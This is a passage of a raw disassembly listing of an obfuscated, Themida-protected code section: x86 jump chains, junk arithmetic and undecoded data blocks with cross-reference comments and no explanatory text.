sub ecx, ebp
pop ebp
push ebx
jmp loc_5483A0
; ---------------------------------------------------------------------------
loc_54F458: ; CODE XREF: Themida_:005484D9j
pop dword ptr [esp]
add dword ptr [esp], 4
pop ecx
add ecx, 4
push ebp
mov ebp, 4
jmp loc_54A69F
; ---------------------------------------------------------------------------
dd 710CC581h, 15B3076h, 242C8BE8h, 0F704C483h, 3BC235D8h
dd 0C1814659h, 539841E8h, 0E981C101h, 539841E8h, 0A9E95158h
dd 5CFFFFAAh, 240C8B66h, 25D6E9h, 85B75300h, 88515066h
dd 0E9CC88F9h, 0FFFFF3E9h
dword_54F4B8 dd 2CE9028Fh ; DATA XREF: Themida_:00546270o
db 70h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F4BF: ; CODE XREF: Themida_:0054D773j
xor ebp, [esp]
mov esp, [esp]
and [edi+1Ch], ebp
pop ebp
jmp loc_54CD6F
; ---------------------------------------------------------------------------
dw 3368h
dd 8900007Eh, 35B9240Ch, 81549F36h, 2675EDC1h, 71C18173h
dd 81665D5Ch, 74FC7EC1h, 59CB09F8h, 0B3F3814Bh, 0C11BED0Bh
dd 0EB8103EBh, 0FC940C85h, 17E7C281h, 0DA010825h, 17E7EA81h
dd 15B0825h, 54B850C2h, 0E9130E7Ah, 0FFFF95ACh, 0E7C0CFFEh
dd 3EFC005h, 0E9E1EF80h, 0FFFFCD92h, 0E924348Bh, 1535h
dd 0DFE95958h, 89FFFFF1h, 0E9575AD5h, 0FFFFFEA3h
; ---------------------------------------------------------------------------
loc_54F544: ; CODE XREF: Themida_:0054B3B2j
inc edi
or edi, 4E0D3A95h
xor edi, 8D1DE30Dh
jmp loc_551FC0
; ---------------------------------------------------------------------------
dw 815Ah
dd 4C4h, 0B2BFE900h, 5954FFFFh, 67E168h, 24148900h, 5B4AFA68h
dd 0E2815A72h, 23DE1B89h, 319CEA81h, 0F2817C4Dh, 0A60CD8E8h
dd 0FF737AE9h, 71CDBDFFh, 2EE94F9Ah, 5EFFFFCAh, 350BFF05h
dd 5D122D03h, 0D8014BF8h, 0BB7B951h, 0E9C13E3Eh, 14F18103h
dd 0E905F027h, 0FFFF6FCFh
; ---------------------------------------------------------------------------
loc_54F5B4: ; CODE XREF: Themida_:0054F432j
mov dh, bh
push dword ptr [esp]
pop ebx
add esp, 4
pop eax
sub bl, dh
jmp loc_54CA4A
; ---------------------------------------------------------------------------
db 2Ch, 0A1h, 81h
dd 2ECh, 0C896600h, 0E94EB124h, 0FFFF790Ch
; ---------------------------------------------------------------------------
loc_54F5D8: ; CODE XREF: Themida_:0054ABEFj
pop esi
push edx
push 70DDh
mov [esp], esi
push 3DB31F7Bh
pop esi
shr esi, 2
and esi, 5A27443Dh
add esi, 0F5DBBBE4h
mov edx, esi
mov esi, [esp]
jmp loc_55279A
; ---------------------------------------------------------------------------
db 66h, 57h, 66h
dd 76A9E955h, 565FFFFFh, 4002BABEh, 0FFE68120h, 462BCD33h
dd 0C681DEF7h, 527020Dh, 0C625C681h, 0F0010F75h, 0DDCAE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F62E: ; CODE XREF: Themida_:005514ACj
push 558Bh
mov [esp], edi
push ecx
push 712160A6h
pop ecx
not ecx
push ebx
jmp loc_54C28E
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 8304C483h, 1C8904ECh, 57E38924h, 0F2634DBFh, 7BCF8138h
dd 81369D22h, 8D7DC7EFh, 6E7C140h, 0FFF547E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F66D: ; CODE XREF: Themida_:0054F7F2j
xor ebx, edi
pop edi
jmp loc_54831C
; ---------------------------------------------------------------------------
aBNc db '│г+N√',0
db 52h
dd 2624E968h, 0D7215A3Fh, 81BD555Ah, 8126A77Ch, 0A40198E5h
dd 0E9D5F712h, 0FFFFDA38h, 3945BB53h, 0E3C157F7h, 0B9EB8107h
dd 0F75EE474h, 6EBC1DBh, 5303B850h, 35484B78h, 42F91779h
dd 8158C331h, 0C8E353C3h, 0E9D9294Fh, 0FFFFA632h, 41E9C329h
dd 52000003h, 1722E9h
db 0
; ---------------------------------------------------------------------------
loc_54F6D5: ; CODE XREF: Themida_:0054DA98j
mov ecx, esp
jmp loc_547364
; ---------------------------------------------------------------------------
dd 8007EBC0h, 71E9D8F3h, 28FFFFF1h, 4FEE9C2h, 0C4830000h
dd 36DE904h, 0C8B0000h, 4C48324h, 0E930FF66h, 0FFFF6DE7h
dd 0C1DFF75Dh, 0C78104E7h, 42176A34h, 2CE6C681h, 0FE016B05h
dd 2CE6EE81h, 335F6B05h, 34312434h, 0DBD8E924h, 0E089FFFFh
dd 0BD33E953h, 0D3F7FFFFh, 14B9E9h
db 0
; ---------------------------------------------------------------------------
loc_54F739: ; CODE XREF: Themida_:00550D92j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_54FA52
; ---------------------------------------------------------------------------
dd 8904EC83h, 0DEE9243Ch, 53FFFF73h, 0FF89DEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F761: ; CODE XREF: Themida_:0054B08Fj
xchg eax, [esp]
pop esp
push edi
push 20000h
jmp loc_548AF1
; ---------------------------------------------------------------------------
dword_54F770 dd 4EC81ADh, 0E9000000h, 0FFFFE793h, 7273C781h, 0FDE93856h
; DATA XREF: Themida_:005463A4o
dd 1FFFFE6h, 241C8BDFh, 4C481h, 3C870000h, 24248B24h, 2E0C68h
dd 241C8900h, 52D48850h, 0D788E288h, 3C88585Ah, 241C8B87h
dd 0FF73BDE9h, 665366FFh, 66FFFFBBh, 0EE9DE01h, 5B00002Fh
dd 815AD301h, 773B86C3h, 81C30157h, 773B86EBh, 68525757h
dd 3DADh, 0BF243C89h, 7B7967DAh, 0FFE2B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F7E9: ; CODE XREF: Themida_:0054C87Ej
add ebx, 0BC1920EEh
mov edi, ebx
pop ebx
jmp loc_54F66D
; ---------------------------------------------------------------------------
db 83h
dd 26E901C0h, 89FFFF99h, 468242Ch, 0FF000000h, 0DCE92434h
dd 68FFFFC0h, 0
dd 5F243C29h, 30FDE781h, 0C781187Eh, 0D42AFE33h, 555FFE29h
dd 0EDE9F589h, 8BFFFFC4h, 88E92424h
db 1Bh, 2 dup(0)
byte_54F837 db 30h ; DATA XREF: Themida_:00546324o
dd 0C32240Ch, 9615E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F842: ; CODE XREF: Themida_:00547D6Aj
add esi, edx
sub esi, 3DF16A68h
pop edx
xchg esi, [esp]
pop esp
jmp loc_5464EB
; ---------------------------------------------------------------------------
loc_54F854: ; CODE XREF: Themida_:0054D911j
xor eax, 0B63BE7BEh
add ebp, eax
pop eax
sub ebp, 4
jmp loc_54BBF7
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 68582434h, 0B36h, 89240489h, 0E387E9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54B6F1
; ---------------------------------------------------------------------------
aVFGfsf db 'V╬F,ёFИ■!',0
dw 5000h
dd 5D4462B8h, 4466356Dh, 0C7016D5Dh, 0FFB354E9h, 0F1C381FFh
dd 5E06D969h, 4602C381h, 0F2E96048h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F8BB: ; CODE XREF: Themida_:0054E25Ej
xor eax, [esp]
jmp loc_5499E9
; ---------------------------------------------------------------------------
db 5Dh
dd 5C241C87h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6C13h
dd 0F78030B7h, 5BFE3069h, 0C4040E04h, 15D0E9h
db 0
; ---------------------------------------------------------------------------
loc_54F8E9: ; CODE XREF: Themida_:00551822j
sub [edi+24h], ebx
pop ebx
mov edx, [esp]
add esp, 4
xor edx, edx
sub esp, 4
jmp loc_549041
; ---------------------------------------------------------------------------
aIH@ db '┴$$hю@',0
dw 8900h
dd 24E9243Ch, 1FFFFABh, 5E8C68D8h, 14890000h, 0BCE95724h
dd 68FFFFF4h, 5EB4h, 0E9243C89h, 0FFFFB07Dh, 1DE9CF01h
dd 50FFFF82h, 0B553E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F93E: ; CODE XREF: Themida_:00552120j
push esp
pop eax
jmp loc_552082
; ---------------------------------------------------------------------------
db 81h, 0EBh, 96h
dd 81502757h, 6E0C2AEEh, 0E9DE0174h, 0FFFF9161h
; ---------------------------------------------------------------------------
loc_54F958: ; CODE XREF: Themida_:0054C4DDj
mov [esp], ebp
xchg edx, [esp]
push edx
jmp loc_549A16
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 66D03000h, 0E924148Bh, 0FFFFA5A5h
; ---------------------------------------------------------------------------
loc_54F978: ; CODE XREF: Themida_:0054838Aj
mov ebp, 0ABA5551h
not ebp
and ebp, 7FC43AF8h
jmp loc_54AE6D
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 81000000h, 2C6h, 0AC9BE900h
db 2 dup(0FFh)
aM0Rhag db '╛0ьRh²G',0 ; DATA XREF: Themida_:00546490o
dw 8900h
dd 3B5240Ch, 0FFDCA7E9h, 5B5453FFh, 4C381h, 0C3810000h
dd 2, 8B241C87h, 0E5802424h, 7E5C0F5h, 5004E5C0h, 0C52861B0h
dd 50458h, 0FF052CE8h, 84E92434h
db 82h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F9E3: ; CODE XREF: Themida_:0054B084j
xor esi, ebx
jmp loc_54DDA4
; ---------------------------------------------------------------------------
dw 0CABAh
dd 0E924E912h, 0FFFFFB47h
; ---------------------------------------------------------------------------
loc_54F9F4: ; CODE XREF: Themida_:0054CCDEj
pop ebx
push edx
mov edx, 7B3AB7D4h
sub ebx, 224C0087h
sub ebx, edx
jmp loc_546645
; ---------------------------------------------------------------------------
loc_54FA08: ; CODE XREF: Themida_:00548C90j
mov [esp], ebx
jmp loc_549C20
; ---------------------------------------------------------------------------
dd 6F8FC381h, 76E90DA9h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FA1B: ; CODE XREF: Themida_:005523F0j
mov esi, 7A194D54h
add esi, 0E70D8B2Ah
xor edx, esi
jmp loc_551C77
; ---------------------------------------------------------------------------
db 80h, 0F2h, 9Ch
dd 81E38953h, 4C3h, 4EB8300h, 9A0E9h, 0C4835D00h, 2BD5504h
dd 29000000h, 0FE71E9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FA52: ; CODE XREF: Themida_:0054F74Bj
pop esp
jmp loc_5464EB
; ---------------------------------------------------------------------------
dd 4C481h, 0FDE90000h, 8FFFFFEFh, 248B2404h, 58545024h
dd 405h, 72D86800h, 2C890000h, 2BD24h, 0F92D0000h, 0E9742D24h
dd 0FFFF7DCFh, 4C281h, 14870000h, 54565C24h, 2CF9685Eh
dd 14890000h, 4BA24h, 0D6010000h, 4C6815Ah, 0E9000000h
dd 0FFFF99E7h, 8107E6C1h, 0C41B30C6h, 0F6E68144h, 81326C42h
dd 690EB7F6h, 52EA817Ch, 29575570h, 52C281F2h, 5E575570h
dd 2E9BC281h, 0C4E90039h, 50FFFFC1h, 405E089h, 83000000h
dd 48704E8h, 2C895C24h, 2474FF24h, 2434FF04h, 0FFA65DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FAFD: ; CODE XREF: Themida_:00552442j
pop edx
sub ebp, eax
push eax
mov eax, 43A518EEh
shr eax, 5
jmp loc_550C83
; ---------------------------------------------------------------------------
dw 5642h
dd 46601DBEh, 9FCE8157h, 8105DB33h, 0E739DAEEh, 0CE814613h
dd 119227CCh, 789FF681h, 0BBE95BC5h, 83FFFFC7h, 0C8904ECh
dd 7871B924h, 0E9C11FD2h, 0BBF7E905h, 895DFFFFh, 24148BD5h
dd 4C481h, 6F090000h, 2434FF1Ch, 0FF7A73E9h, 55854FFh
dd 4, 4BE56h, 0BD2D0000h, 1394801h, 1BD05F0h, 0B1E93948h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FB7B: ; CODE XREF: Themida_:0054B13Aj
neg edi
xor edi, 2D2A60BAh
neg edi
add edi, 1D7208BDh
mov esi, edi
pop edi
not esi
push ebx
mov ebx, 7B3521DFh
jmp loc_546933
; ---------------------------------------------------------------------------
loc_54FB9B: ; CODE XREF: Themida_:00547539j
jz loc_54867F
push dword ptr [edi+28h]
mov eax, [esp]
sub esp, 4
mov [esp], eax
jmp loc_550233
; ---------------------------------------------------------------------------
db 57h, 52h, 0BAh
dd 4EFC112Fh, 0E95AD789h, 0FFFFAD34h
; ---------------------------------------------------------------------------
loc_54FBC4: ; CODE XREF: Themida_:005477C7j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
or eax, eax
jz loc_54A8AE
sub esp, 4
mov [esp], ebx
mov ebx, 1Ch
add ebx, edi
push edx
jmp loc_551385
; ---------------------------------------------------------------------------
dd 80C20058h, 0E9587FC2h, 0FFFF8BC8h, 3BAD68h, 241C8900h
dd 0C381E389h, 4, 8704EB83h, 248B241Ch, 240C8924h, 57E913B1h
dd 5CFFFFBFh, 367ABA52h, 0CA815709h, 28C5067Fh, 3D91CA81h
dd 56505478h, 931066BEh, 5EF08959h, 8158C201h, 905067F2h
dd 5AD701D9h, 5C243C87h, 24048B66h, 3A5F68h, 243C8900h
dd 4EC81h, 0DE680000h, 54000079h, 0E924048Fh, 0FFFFB468h
dd 4C48159h, 5B000000h, 65A68h, 24048900h, 0FF686EE9h
dd 34FF54FFh, 2434FF24h, 4C4815Bh, 0E9000000h, 11EEh
; ---------------------------------------------------------------------------
loc_54FC90: ; CODE XREF: Themida_:005488DAj
pop esp
mov [esp], ecx
mov ecx, 4
sub ebx, ecx
mov ecx, [esp]
jmp loc_5512AB
; ---------------------------------------------------------------------------
loc_54FCA3: ; CODE XREF: Themida_:0054D6AFj
pop esi
jmp loc_55165F
; ---------------------------------------------------------------------------
db 81h, 0EEh, 0DEh
dd 0E950B103h, 0FFFF742Dh, 0E388F488h, 0EB805A58h, 8BD82081h
dd 8953241Ch, 2600E9E3h, 0E1C10000h, 0BAE98104h, 0E928B12Eh
dd 0FFFFF513h
aMhtl db '╛h▓L',0 ; DATA XREF: Themida_:00546424o
align 2
dw 1C89h
dd 99B324h, 1F5FE9D8h, 5B660000h, 8608EAC0h, 2224E9DAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FCF6: ; CODE XREF: Themida_:0054A8A9j
mov [edi+20h], edx
jmp loc_54ABEE
; ---------------------------------------------------------------------------
dw 4BBh
dd 1000000h, 0E904245Ch, 0FCCh, 56241C8Bh, 0C681E689h
dd 4, 1DFE9h
db 0
byte_54FD1D db 66h, 87h, 4 ; DATA XREF: Themida_:005463A8o
dd 0C5686624h, 4896644h, 3C876624h, 0F8CFE924h, 433FFFFh
dd 0CDE95C24h, 0B5000019h, 8EDC0E0h, 26B45066h, 5866E500h
dd 80C4B353h, 0CB80DAEBh, 0F394E993h, 835EFFFFh, 1C3304C3h
dd 241C3124h, 8B241C33h, 0ADE92424h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FD6B: ; CODE XREF: Themida_:00548E02j
add esp, 4
push edi
mov edi, 53DD5149h
shl edi, 5
jmp loc_54BB23
; ---------------------------------------------------------------------------
dd 81240C8Bh, 4C4h, 8BDE8800h, 0C481241Ch, 4, 51F78853h
dd 88FE8852h, 0E9505AF1h, 0FFFF81A6h
; ---------------------------------------------------------------------------
loc_54FDA0: ; CODE XREF: Themida_:005527D2j
sub esp, 4
mov [esp], edx
xchg ebp, [esp]
xchg esi, ebp
xchg ebx, esi
jmp loc_550947
; ---------------------------------------------------------------------------
dw 0F581h
dd 33344238h, 0FF8937E9h, 436E05FFh, 50537E7Ah, 1D1FE9h
dd 0E7895700h, 11E5E9h, 59C80100h, 0BFFBD55h, 0E8290335h
dd 341D055Dh, 8AE92BF3h, 0BB000000h, 4056290Eh, 292AEB81h
dd 31E90D0Eh, 68FFFFB1h, 1F6h, 0FFA472E9h, 885150FFh, 59E888F5h
dd 5A58C388h, 8124048Bh, 4C4h, 0DD885100h, 1876C88h, 0CFE9h
dd 86BF5700h, 0F70CC614h, 31E781D7h, 0F74E2D6Ch, 0B7AE9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FE36: ; CODE XREF: Themida_:005501A6j
pop ebx
push edi
jmp loc_5468DD
; ---------------------------------------------------------------------------
loc_54FE3D: ; CODE XREF: Themida_:005518D9j
push ebp
mov ebp, esi
jmp loc_54A8A6
; ---------------------------------------------------------------------------
byte_54FE45 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005463ECo
aYsj db 'YИJ',8,0
align 2
dw 4BBh
dd 1000000h, 0A8D7E9DAh, 0E981FFFFh, 11EBEFF0h, 0C8BCE01h
dd 4C48124h, 52000000h, 0FF9441E9h, 25662DFFh, 0A86823F8h
dd 89000008h, 0E950240Ch, 2571h
; ---------------------------------------------------------------------------
loc_54FE84: ; CODE XREF: Themida_:00551641j
mov ecx, 4C2C0FEEh
or ebp, ecx
pop ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5495EF
; ---------------------------------------------------------------------------
dw 0C280h
dd 8D69E95Bh, 0DEF6FFFFh, 0EEC0C6FEh, 18F68003h, 0F0284004h
dd 305A402Ch, 87E953C3h, 89FFFFECh, 0BFB951E6h, 81554E44h
dd 0EE3BDFE9h, 0B7E94148h, 81FFFFBBh, 4ECh, 241C8900h
dd 0C25746BBh, 0F7EF8160h, 29352348h, 0F7C781DFh, 0E9352348h
dd 0FFFF7201h, 241C8B59h, 0E904C483h, 0FFFF65EFh, 4BF57h
dd 0FE010000h, 0C9B4E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FF0A: ; CODE XREF: Themida_:00546C9Dj
pop ebx
shr eax, 3
sub esp, 4
mov [esp], ecx
mov ecx, 297D5FA3h
jmp loc_5469A3
; ---------------------------------------------------------------------------
dw 48Bh
dd 0B9E95624h, 5BFFFF79h, 529ABA52h, 0F2812804h, 0BDE34F0h
dd 0BBE9h, 3E5C000h, 80ADC580h, 88E95EF5h, 5FFFFE5h, 50E27FAFh
dd 2404875Dh, 0CA88E95Ch
db 2 dup(0FFh)
word_54FF56 dw 48Bh ; DATA XREF: Themida_:0054640Co
dd 59545124h, 16E4BA52h, 0C2835DBFh, 0D8CA8101h, 5342940Ah
dd 59DF68h, 243C8900h, 0EC030BBFh, 5FFB897Fh, 0BF57h, 0DF290000h
dd 0AFE9FB87h, 80FFFF78h, 0C28001EAh, 6DEEE967h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FF96: ; CODE XREF: Themida_:0054B7C3j
pop esi
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 46A82A26h
push edi
jmp loc_54F2F2
; ---------------------------------------------------------------------------
loc_54FFAB: ; CODE XREF: Themida_:00546C68j
xor eax, ebx
push ebx
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
push 5C92h
mov [esp], eax
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54C55C
; ---------------------------------------------------------------------------
dw 3489h
dd 9C0AE924h, 0D1B5FFFFh, 0E984C580h, 0FFFF7E6Ch, 4A28C181h
dd 0D1016460h, 4A28E981h, 0E95A6460h, 1FCCh
; ---------------------------------------------------------------------------
loc_550008: ; CODE XREF: Themida_:0054A340j
not dword ptr [esp]
jmp loc_54B5A4
; ---------------------------------------------------------------------------
loc_550010: ; CODE XREF: Themida_:00551675j
xchg ebp, [esp]
pop esp
and eax, edi
mov edi, [esp]
add esp, 4
or edx, eax
jmp loc_549CCC
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF64C3h, 2474FF56h, 0C5F0E904h, 0F801FFFFh, 81243C8Bh
dd 4C4h, 58C60100h, 5C1068h, 243C8900h, 3D27BD55h, 0E5C107D5h
dd 0E5814505h, 2E3F4AB2h, 81E9DDF7h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55005F: ; CODE XREF: Themida_:0054A679j
sub ecx, 6BCC45Ch
sub edi, ecx
pop ecx
std
push edx
push ebx
jmp loc_54EA79
; ---------------------------------------------------------------------------
dd 0BF243C89h, 2CFC01EEh, 181AC381h, 0C3815599h, 435E20BAh
dd 75C1BE56h, 0EB814371h, 6D969F1h, 12E9F301h, 89FFFFF8h
dd 88B9240Ch, 0E9061937h, 0FFFF941Bh, 3DE9C701h, 5AFFFFD9h
dd 8704C183h, 95C240Ch, 0E99C2404h, 0FFFF642Fh
dword_5500BC dd 8B2434FFh ; DATA XREF: Themida_:005463C4o
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_54C21E
; ---------------------------------------------------------------------------
dw 815Fh
dd 2C2h, 24143300h, 33241431h, 248B2414h, 0AB0F6624h, 0E99C2404h
dd 11B2h, 7F98E956h, 0E381FFFFh, 366373F5h, 3305F381h
dd 7BE93443h, 0E9000020h, 0FFFF63DBh
; ---------------------------------------------------------------------------
loc_550110: ; CODE XREF: Themida_:0054A5F9j
mov ebp, 335B7FCAh
jmp loc_548386
; ---------------------------------------------------------------------------
dw 4B9h
dd 29000000h, 0F6859CFh, 0E9000060h, 0FFFFEEA8h
; ---------------------------------------------------------------------------
loc_55012C: ; CODE XREF: Themida_:0054AAA0j
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
jmp loc_549532
; ---------------------------------------------------------------------------
db 66h, 89h, 0F0h
dd 0FFA89AE9h, 0BE5653FFh, 290E309Bh, 0C15EF389h, 0EBC107E3h
dd 18F38104h, 81264B12h, 3A96C4F3h, 5BD8012Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_548E64
; ---------------------------------------------------------------------------
loc_550178: ; CODE XREF: Themida_:0054C361j
sub esp, 4
jmp loc_54DF37
; ---------------------------------------------------------------------------
dd 580F581h, 0EA01380Ch, 2414875Dh, 22B4505Ch, 0E958E200h
dd 0FFFFC130h
; ---------------------------------------------------------------------------
loc_550198: ; CODE XREF: Themida_:00551805j
and esi, eax
pop eax
sub esi, 24EC5002h
mov ebx, esi
pop esi
add ebp, ebx
jmp loc_54FE36
; ---------------------------------------------------------------------------
db 5Ch
dd 9C240CFEh, 0FF6336E9h
db 0FFh
byte_5501B5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546318o
dd 0A03BE924h, 0EF83FFFFh, 0C469E9FFh, 0BF57FFFFh, 5EDB7C38h
dd 78A368h, 24348900h, 0BA4C6DBEh, 0E9D6F766h, 66Eh, 7D77E95Ah
dd 0D0F7FFFFh, 0CEB8193h, 1AE2C8Fh, 0E2E95BDEh, 5CFFFFB1h
dd 51243C89h, 0C181E189h, 4, 8704E983h, 248B240Ch, 48F5424h
dd 4BB5324h, 1000000h, 8B04245Ch, 0C483241Ch, 0C7815F04h
dd 4, 0FFCC87E9h, 0E5E959FFh
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550233: ; CODE XREF: Themida_:0054FBB0j
push esp
jmp loc_551DB9
; ---------------------------------------------------------------------------
db 5Dh, 31h, 0C3h
dd 0FFCAF1E9h, 7EDF05FFh, 5E5E4DEDh, 0E9240487h, 0FFFF9CEFh
dd 423F6850h, 24890000h, 0BB535024h, 4, 97E9D889h, 89FFFFA3h
dd 0BE56243Ch, 6B7F626Bh, 0FF9D26E9h, 0E9D0F6FFh, 0FFFFB528h
dd 0E97AB252h, 0FFFF6A24h, 8324048Bh, 0E95904C4h, 0FFFF625Bh
dword_550290 dd 241CF766h, 6251E99Ch, 0EC83FFFFh, 242C8904h, 0FF9B39E9h
; DATA XREF: Themida_:00546484o
dd 2BAFFh, 0D7890000h, 2DB92D5Ah, 0A80523D6h, 13CFB71h
dd 71A82DF8h, 0B9053CFBh, 5F23D62Dh, 0E9240433h, 0FFFF8CFDh
dd 8B24048Fh, 0BE0F2424h, 873BE9C8h, 0C631FFFFh, 0F7CEE958h
dd 835BFFFFh, 0EC8302C5h, 243C8904h, 0D4E9E789h, 89FFFF6Ch
dd 74FF241Ch, 8F5B0424h, 248B2404h, 8EFFE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550306: ; CODE XREF: Themida_:0054E3E2j
not ebp
xchg ebp, [esp]
pop eax
jmp loc_547352
; ---------------------------------------------------------------------------
loc_550311: ; CODE XREF: Themida_:00547459j
mov ecx, ebp
mov eax, ecx
pop ecx
pop ebp
push ecx
mov ecx, eax
mov esi, ecx
pop ecx
jmp loc_548C46
; ---------------------------------------------------------------------------
loc_550322: ; CODE XREF: Themida_:0054A94Cj
pop esi
pop eax
xor eax, 33967CA6h
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54C858
; ---------------------------------------------------------------------------
loc_550338: ; CODE XREF: Themida_:0054B6ECj
jz loc_54AAB0
push dword ptr [edi+1Ch]
push ebx
mov ebx, 363D4CFFh
sub [esp+4], ebx
pop ebx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_54894D
; ---------------------------------------------------------------------------
db 21h
dd 0F78159CFh, 2A3D0DD6h, 41B8B850h, 0E8C137ACh, 0D83A0503h
dd 0C7095D9Eh, 0B7EF8158h, 0E901BE13h, 0FFFF627Bh
; ---------------------------------------------------------------------------
loc_55037C: ; CODE XREF: Themida_:00551632j
neg eax
shr eax, 6
not eax
jmp loc_5517FE
; ---------------------------------------------------------------------------
dd 0EB80C328h, 58C38044h, 0F7CE9h, 0BD665500h, 0FBE977BAh
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55039F: ; CODE XREF: Themida_:005488E3j
mov ebp, 4
jmp loc_551173
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 6EE95954h, 68FFFF6Bh, 34F914E3h, 49C5815Dh, 55CFF562h
dd 0C8243481h, 5A1B9367h, 0FF7BF7E9h, 81E689FFh, 4C6h
dd 4EE8300h, 5C243487h, 0FF91CEE9h, 241C87FFh, 0A878E95Ch
dd 0C101FFFFh, 75396858h, 73E90000h, 58000018h, 1790E955h
db 2 dup(0)
word_5503FE dw 77FFh ; DATA XREF: Themida_:00546364o
dd 59669D1Ch, 9C241CD2h, 0FF9221E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55040D: ; CODE XREF: Themida_:0054F318j
dec ebp
jmp loc_549633
; ---------------------------------------------------------------------------
db 0FFh
dd 835A2434h, 0D9F704C4h, 0FF9B6DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550421: ; CODE XREF: Themida_:005490FFj
mov [esp], eax
jmp loc_5490C8
; ---------------------------------------------------------------------------
db 81h, 0EBh, 8Bh
dd 582C9B6Bh, 0E9241C87h, 0FFFFF3F7h
dword_550438 dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 0E2892414h
; DATA XREF: Themida_:0054642Co
dd 14B95153h, 0E96C7A0Dh, 261h, 0E2D1D2F7h, 3E03BD55h
dd 0F7554047h, 0C15D2414h, 4EE902E5h, 54FFFFA4h, 8324348Bh
dd 486804C4h, 89000007h, 0E8E9242Ch, 0B9FFFFCAh, 72A536E9h
dd 0E9C1D9F7h, 76685008h, 89000061h, 0D68242Ch, 5D729717h
dd 96E9D5F7h
db 1Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5504A3: ; CODE XREF: Themida_:005515E0j
mov eax, ebx
push edi
jmp loc_54D9CC
; ---------------------------------------------------------------------------
db 89h
dd 74FF2434h, 0CCE90424h
db 84h, 2 dup(0FFh)
byte_5504B7 db 8Bh ; DATA XREF: Themida_:0054635Co
dd 0EC83240Ch, 241C8904h, 0E904EC83h, 0FFFFC04Fh, 2434FF58h
dd 4C48158h, 0E9000000h, 0FFFF9423h, 8108E2C1h, 0C20D0AE2h
dd 4C28111h, 1FFBDF3h, 2434FFD1h, 0FFEEB2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5504F1: ; CODE XREF: Themida_:00548274j
mov ebp, 0E117E81h
jmp loc_5471AB
; ---------------------------------------------------------------------------
loc_5504FB: ; CODE XREF: Themida_:00550C55j
add ebp, edx
jmp loc_5505FC
; ---------------------------------------------------------------------------
dw 0CE01h
dd 68240C8Bh, 3864h, 89242C89h, 0CA27E9E5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550516: ; CODE XREF: Themida_:005471F3j
add edx, 4
jmp loc_5476AD
; ---------------------------------------------------------------------------
loc_550521: ; CODE XREF: Themida_:0055288Fj
pop edx
and ebp, 4BA08AFh
xor ebp, 48208A6h
sub ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
jmp loc_54E3DF
; ---------------------------------------------------------------------------
byte_550545 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00546438o
dd 0E0895024h, 405h, 14A0E900h, 0CB810000h, 5B8E1826h
dd 7832EB81h, 0DF015BEEh, 4C7815Bh, 87000000h, 0E95C243Ch
dd 1B98h, 0CCB1C681h
db 0E7h, 0E5h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5486AE
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0B7D7E904h, 0B951FFFFh, 782953F3h, 5B0AC181h, 57496316h
dd 3FAEF8BFh, 0E9F929DBh, 871h, 1A4F6866h, 6E95E66h, 81FFFFF2h
